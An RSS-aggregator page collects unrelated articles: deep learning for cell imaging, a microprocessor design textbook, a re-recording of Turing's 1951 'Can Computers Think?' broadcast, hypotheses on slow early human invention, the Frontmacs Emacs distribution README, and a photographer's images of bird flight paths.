Cell biologists at the Allen Institute for Cell Science in Seattle, Washington, are using convolutional neural networks to convert flat, grey images of cells captured with light microscopes into 3D images in which some of a cell’s organelles are labelled in colour. The approach eliminates the need to stain cells — a process that requires more time and a sophisticated lab, and can damage the cell. Last month, the group published details of an advanced technique that can predict the shape and location of even more cell parts using just a few pieces of data — such as the cell’s outline (G. R. Johnson et al. Preprint at bioRxiv http://doi.org/chwv; 2017)

“What you’re seeing now is an unprecedented shift in how well machine learning can accomplish biological tasks that have to do with imaging,” says Anne Carpenter, director of the Imaging Platform at the Broad Institute of MIT and Harvard in Cambridge, Massachusetts. In 2015, her interdisciplinary team began to process cell images using convolutional neural networks; now, Carpenter says, the networks process about 15% of image data at her centre. She predicts that the approach will become the centre’s main mode of processing in a few years. 

Others are most excited by the idea that analysing images with convolutional neural networks could inadvertently reveal subtle biological phenomena, prompting biologists to ask questions they might not have considered before. “The most interesting phrase in science isn’t ‘Eureka!’, but ‘That’s weird — what’s going on?’” Nelson says.

Such serendipitous discoveries could help to advance disease research, says Rick Horwitz, the Allen Institute’s executive director. If deep learning can reveal subtle markers of cancer in an individual cell, he says, it could help to improve how researchers classify tumour progression. That could in turn trigger new hypotheses about how cancer spreads.

Other machine-learning connoisseurs in biology have set their sights on new frontiers, now that convolutional neural networks are taking flight for image processing. “Imaging is important, but so is chemistry and molecular data,” says Alex Wolf, a computational biologist at the German Research Center for Environmental Health in Neuherberg. Wolf hopes to tweak neural networks so that they can analyse gene expression. “I think there will be a very big breakthrough in the next few years,” he says, “that allows biologists to apply neural networks much more broadly.”  

Sign up for the daily Nature Briefing email newsletter

Stay up to date with what matters in science and why, handpicked from Nature and other publications worldwide.

Sign Up

Microprocessor Design (2017)

$
0
0

This book serves as an introduction to the field of microprocessor design and implementation. It is intended for students in computer science or computer or electrical engineering who are in the third or fourth years of an undergraduate degree. While the focus of this book will be on Microprocessors, many of the concepts will apply to other ASIC design tasks as well.

The reader should have prior knowledge in Digital Circuits and possibly some background in Semiconductors although it isn't strictly necessary. The reader also should know at least one Assembly Language. Knowledge of higher-level languages such as C or C++ may be useful as well, but are not required. Sections about soft-core design will require prior knowledge of Programmable Logic, and a prior knowledge of at least one HDL.

Table of Contents

Microprocessor Basics

Microprocessor Components

ALU Design

Design Paradigms

Execution Problems

Benchmarking and Optimization

Parallel Processing

Support Software

Microprocessor Production

Advanced Topics

Resources and Licensing


Alan Turing’s “Can Computers Think?” Radio Broadcasts Re-Recorded

$
0
0

On the 15th of May 1951 the BBC broadcast a short lecture by the mathematician Alan Turing under the title Can Computers Think? This was a part of a series of lectures on the emerging science of computing which featured other pioneers of the time, including Douglas Hartree, Max Newman, Freddie Williams and Maurice Wilkes. Together they represented major new projects in computing at the Universities of Cambridge and Manchester. Unfortunately these recordings no longer exist, along with all other recordings of Alan Turing. So I decided to rerecord Turing’s lecture from his original script.

This recording came about when I was working the Codebreakers and Groundbreakers exhibition for The Fitzwilliam Museum, Cambridge. The exhibition focuses on two codebreakers, the first being Michael Ventris, an architect and linguist who in 1952 deciphered the ancient Greek script known as Linear B. This breakthrough added about 500 years to our knowledge of ancient Greek history and is considered one of the great advances in classical scholarships.

The second codebreaker featured in the Fitzwilliam exhibition is Alan Turing, one of the leading British codebreakers at Bletchley Park who broke the German code machine Enigma during World War II. This gang of codebreakers was a mix of mathematicians, linguists, and puzzle-solvers. One of our aims for the exhibition is to show how this collaboration and sharing of skills made breaking Enigma possible.

The exhibition will run until the beginning of February 2018, and features unique Linear B clay tablets from the palace at Knossos, Crete; a rare U-boat Enigma machine and British TypeX machine both on loan from GCHQ; as well as various archival material from Michael Ventris and Alan Turing.

The exhibition also contains audio extracts from a BBC broadcast from Michael Ventris. So it was disappointing that we could not feature an equivalent audio extract from Alan Turing. However, the Turing archives at King’s College, Cambridge do contain Turing’s script for Can Computer’s Think? This script is available online via the Turing Digital Archive.

I was surprised how good Turing’s script was. Instead of the dense, academic language I feared, the script was a clear and simple explanation of the future of computing written for the layman – with perhaps the exception of the long desert island analogy, which I did not get on with at all. The second thing that surprised me was, for a script written in 1951, how current it all seemed. Turing is often described as ahead of his time, and the evidence is right here.

Turing talks about the computer’s ability to imitate any kind of calculating machine, a property known as universality, and considers if a machine will ever be able to imitate a brain. Turing then goes on to discuss whether a computer is capable of originality, or indeed free-will.

Turing then makes one firm prediction, that by the end of the 20th century computers would be able to answer questions in a manner indistinguishable from a human being – this is the famous Turing test. Turing’s prediction may have been a couple of decades early, but with the rise of digital assistants I would have to say he was completely right.

I was fascinated by Turing’s prediction of how unsettling it would be to design machines to look like people, an effect we now call the Uncanny Valley. Turing also saw no limits to what a computer would be able to achieve, and saw the future of programming to be closer to that of teaching, which is what we see today in the areas of Deep Learning and Neural Networks.

Throughout the lecture, Turing’s language is friendly and inclusive. He is also charmingly humble, admitting there are many other opinions and that these were just his own. I was also pleased to see Turing acknowledge the legacy of computing with a quotation from Ada Lovelace speaking about Charles Babbage’s Analytical Engine. I found the script so pleasing that I decided it would be nice to rerecord it so that new audiences would be able to hear Turing’s words as he intended.

Allan Jones has written more on this series of broadcasts by the BBC.

The Codebreakers and Groundbreakers exhibition is open at the Fitzwilliam Museum, Cambridge until Sunday the 4th of February 2018.

Why things might have taken so long

$
0
0

I asked why humanity took so long to do anything at the start, and the Internet gave me its thoughts. Here is my expanded list of hypotheses, summarizing from comments on the post, here, and here.

Inventing is harder than it looks

  1. Inventions are usually more ingenious than they seem. Relatedly, reality has a lot of detail.
  2. There are lots of apparent paths: without hindsight, you have to waste a lot of time on dead ends.
  3. People are not as inventive as they imagine. For instance, I haven’t actually invented anything – why do I even imagine I could invent rope?
  4. Posing the question is a large part of the work. If you have never seen rope, it actually doesn’t occur to you that rope would come in handy, or to ask yourself how to make some.
  5. Animals (including humans) mostly think by intuitively recognizing over time what is promising and not among affordances they have, and reading what common observations imply. New affordances generally only appear by some outside force e.g. accidentally. To invent a thing, you have to somehow have an affordance to make it even though you have never seen it. And in retrospect it seems so obvious because now you do have the affordance.

People fifty thousand years ago were not really behaviorally modern

  1. People’s brains were actually biologically less functional fifty thousand years ago.
  2. Having concepts in general is a big deal. You need a foundation of knowledge and mental models to come up with more of them.
  3. We lacked a small number of unimaginably basic concepts that it is hard to even imagine not having now. For instance ‘abstraction’, or ‘changing the world around you to make it better’.
  4. Having external thinking tools is a big deal. Modern ‘human intelligence’ relies a lot on things like writing and collected data, that aren’t in anyone’s brain.
  5. The entire mental landscapes of early people was very different, as Julian Jaynes suggests.  In particular, they lacked self awareness and the ability to have original thought rather than just repeating whatever they usually repeat.

Prerequisites

  1. Often A isn’t useful without B, and B isn’t useful without A. For instance, A is chariots and B is roads.
  2. A isn’t useful without lots of other things, which don’t depend on A, but take longer to accrue than you imagine.
  3. Lots of ways to solve problems don’t lead to great things in the long run.‘Crude hacks’ get you most of the way there, reducing the value of great inventions.

Nobody can do much at all

  1. People in general are stupid in all domains, even now. Everything is always mysteriously a thousand times harder than you might think.
  2. Have I tried even making rope from scratch? Let alone inventing it?

People were really busy

  1. Poverty traps. Inventing only pays off long term, so for anyone to do it you need spare wealth and maybe institutions for capital to fund invention.
  2. People are just really busy doing and thinking about other things. Like mating and dancing and eating and so on.

Communication and records

  1. The early humans did have those things, we just don’t have good records. Which is not surprising, because our records of those times are clearly very lacking.
  2. Things got invented a lot, but communication wasn’t good/common enough to spread them. For instance because tribes were small and didn’t interact that much).

Social costs

  1. Technology might have been seen as a sign of weakness or laziness
  2. Making technology might make you stand out rather than fit in
  3. Productivity shames your peers and invites more work from you
  4. Inventions are sometimes against received wisdom

Population

  1. There were very few people in the past, so the total thinking occurring between 50k and 28k years ago was less than in the last hundred years.

Value

  1. We didn’t invent things until they became relevant at all, and most of these things aren’t relevant to a hunter-gatherer.
  2. Innovation is risky: if you try a new thing, you might die.

Orders of invention

  1. First order inventions are those where the raw materials are in your immediate surroundings, and they don’t require huge amounts of skill. My intuition is mostly that first order inventions should have been faster. But maybe we did get very good at first order ones quickly, but it is hard to move to higher orders.
  2. You need a full-time craftsman to make most basic things to a quality where they are worth having, and we couldn’t afford full-time craftsmen for a very long time.
  3. Each new layer requires the last layer of innovation be common enough that it is available everywhere, for the next person to use.

Frontmacs

$
0
0

README.md

ELPA VersionBuild Status

A package-based, web-centric, customizable, awesome-by-default, acceptance-tested Emacs distribution curated by your friends atFrontside.

We've been using Emacs for years here at Frontside, and have finally decided to share the configuration for our favorite editor with the world. Why did we make our own?

Package Based.

We've been satisfied users of many a starter kit over the years, from the original Emacs Starter Kit, to Prelude andSpacemacs. Most starter kits you come across begin with a fork. You clone the repo, and then you're off to the races maintaining your own version. Any customizations you make are made to files under version control and so upgrading and keeping up with the community is a constant battle of merges, rebases, throw-aways and ultimately do overs. We know because we've been there.

This is painful enough when you're maintaining your own fork, but every time we wanted to make a customization from which the entire team could benefit, it involved everybody doing the same merge, rebase, throw-away dance. But, it turns out that Emacs has a mechanism to distribute elisp code without having to use git. It's called ELPA and it's awesome. You can think of it like a Ruby gem or an NPM package, and this is what Frontmacs uses for deployment.

We don't want to maintain code, we just want to enter a few keystrokes and download more awesome. And that's what we get by using elisp packages to install Frontmacs. Now, anytime we fix a bug or make an improvement, the entire team can benefit with a simple upgrade.

Web technologies

We are specialists in UI, and so it is natural that our Emacs distribution reflect that expertise. If you work in the web, then you can be sure that Frontmacs will be an able partner in slinging modern JavaScript using modern frameworks. Whether it's React, React Native, Angular, Ember, SASS.... whatever.

Awesome by Default

Emacs is true ultimate power! But that doesn't mean that it should be intimidating or terrifying to set up. Frontmacs aims to have everything you would expect to have a modern development environment to have out of the box: navigation, completion, etc...

It draws power in a shared configuration in which everybody has a stake. More knowledge shared means fewer bugs arise, and those that do get resolved more quickly.

Customizable

Just because the default set of packages is heavily curated, doesn't mean that there shouldn't be room for you to innovate and exercise your creative muscles.

In fact, because Frontmacs is distributed as an Emacs Lisp package, it isdecoupled from git and so you are now free to maintain your own customizations in your own repository without fear of conflicting with the main distribution.

Acceptance Tested

Most of the planet doesn't treat editor configuration as software. We do.

Whenever you integrate a bunch of different packages from across the internet, you're bound to run into conflicts over things like key-bindings, or function advice.

Making changes to an editing experience shared by many people is a responsibility we take very seriously. That's why Frontmacs makes sure that critical behaviors are tested so that you won't get bad upgrades that ruin your day. If you do, you can run the test suite to find out exactly what went wrong and where.

Installation

Download the bootstrap script into your emacs directory

$ cd ~/.emacs.d
$ wget https://raw.githubusercontent.com/thefrontside/frontmacs/master/scripts/init-frontmacs.el

add the following lines to the top of your init.el:

;; boot frontmacs
(load (expand-file-name "init-frontmacs.el" user-emacs-directory))

Restart your Emacs and away you go!

Configuration

Frontmacs will create several files and directories in your Emacs directory (usually $HOME/.emacs.d) to help with configuration and initialization. The first is config.el This file is loaded before Frontmacs actually initializes, and so it's a chance to set any well defined customizations. But don't worry, Frontmacs will generate this file for you so that you can see what all configuration variables are available.

For everything else, there are all of the files contained in$HOME/.emacs.d/initializers. Every elisp file contained in this directory will be evaluated after Frontmacs has been fully configured and initialized, so settings made in these files will override anything that comes with Frontmacs out of the box. For example, you can create your Ruby configuration with a file called:

$HOME/.emacs.d/initializers/ruby.el

(eval-after-load 'rspec-mode
  '(rspec-install-snippets))

(add-to-list 'auto-mode-alist '("Gemfile". ruby-mode))
(add-to-list 'auto-mode-alist '("\\.gemspec\\'". ruby-mode))

Just drop any .el file into the initializers/ directory, and Frontmacs will evaluate it.

Note: When in doubt about whether you should put something in config.el or a custom initializer, use an initializer.

Development

You will need a patched version of Cask to do development on.

$ git clone -b specify-package-descriptor --depth=1 https://github.com/cowboyd/cask.git $HOME/.cask
$ export PATH=$HOME/.cask/bin:$PATH

install dependencies

$ cask install

Run an emacs using nothing but the local frontmacs

$ make runlocal

Another critical bug in Intel Core with undocumented opcodes (scroll to p. 154)

A photographer captures the paths that birds make across the sky

$
0
0

Soaring above the Skógafoss waterfall at their nesting site in Iceland, northern fulmars reveal zipperlike patterns.

This story appears in the January 2018 issue of National Geographic magazine.

If birds left tracks in the sky, what would they look like? For years Barcelona-based photographer Xavi Bou has been fascinated by this question. Just as a sinuous impression appears when a snake slides across sand, he imagined, so must a pattern form in the wake of a flying bird. But of course birds in flight leave no trace—at least none visible to the naked eye. Bou, now 38, spent the past five years trying to capture the elusive contours drawn by birds in motion, or, as he says, “to make visible the invisible.”

First he had to shed the role of mere observer. “Like a naturalist, I used to travel around the world looking at wildlife,” he says. He began exploring photographic techniques that would allow him to express his love of nature and show the beauty of birds in a way not seen before.

Evoking an airborne serpent, western marsh harriers glide above trees where great cormorants perch. The wildlife-rich wetlands of Estany d’Ivars i Vila-Sana, Spain, were drained around 1950 for agricultural use and restored in 2005.

“In winter the starlings gather in large groups,” says Bou, who took this photo in the agrarian village of Arbeca, Spain. “Starlings often prefer cities and agricultural areas, where their food abounds.”

At a calm bay north of Spain’s Ebro River Delta on the Mediterranean coast, a flock of greater flamingos is silhouetted in the water, while European herring gulls fly overhead.

Near the fishing village of Roses, Spain, seagulls form a dreamy tableau as they chase a boat for scraps.

Ultimately he chose to work with a video camera, from which he extracts high-resolution photographs. After he films the birds in motion, Bou selects a section of the footage and layers the individual frames into one image. He finds the process similar to developing film: He can’t tell in advance what the final result will be. There’s one magical second, he says, when the image—chimerical and surreal—begins to emerge.

Before Bou began this project, which he calls “Ornitografías,” he earned degrees in geology and photography in Barcelona, then worked as a lighting technician in the fashion industry and also co-owned a postproduction studio. This current work, he says, combines his passion and his profession. “It’s technical, challenging, artistic, and natural. It’s the connection between photography and nature that I was looking for.”



Enjoy a variety of exhibitions that reflect the richness and diversity of our world.

Buy Tickets

Viewing all 25817 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>